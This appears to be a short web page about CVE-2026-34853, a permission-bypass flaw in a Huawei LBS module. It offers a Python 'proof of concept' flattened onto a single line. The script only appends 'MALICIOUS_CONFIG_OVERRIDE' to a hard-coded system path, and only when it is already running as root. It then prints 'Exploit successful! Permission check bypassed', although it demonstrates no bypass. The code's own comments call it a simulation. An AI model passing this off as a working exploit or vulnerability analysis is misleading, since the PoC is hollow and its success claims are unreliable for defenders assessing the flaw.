CVE-2026-34853 华为LBS模块权限绕过漏洞

import os import subprocess # PoC for CVE-2026-34853: Huawei LBS Module Permission Bypass # This script demonstrates the conceptual logic of bypassing permission checks. # Simulate the vulnerable component path VULNERABLE_PATH = "/system/lbs/secured_config" def attempt_bypass(): print("[*] Attempting to trigger permission bypass in LBS module...") # In a real exploit scenario, the attacker would invoke specific internal APIs # or manipulate file descriptors to bypass the permission check (PR:H context). try: # Simulating an unauthorized write operation due to logic flaw # This represents the 'Impact: Availability' and 'Integrity' aspect with open(VULNERABLE_PATH, 'a') as f: f.write("MALICIOUS_CONFIG_OVERRIDE") print("[+] Exploit successful! Permission check bypassed.") print("[+] System integrity and availability may be compromised.") return True except PermissionError: print("[-] Permission denied. The system appears to be patched.") return False except Exception as e: print(f"[!] An error occurred: {e}") return False if __name__ == "__main__": # Check if running in a high privilege context (模拟 PR:H) if os.geteuid() == 0: attempt_bypass() else: print("[!] This PoC requires high privileges (PR:H) to run.")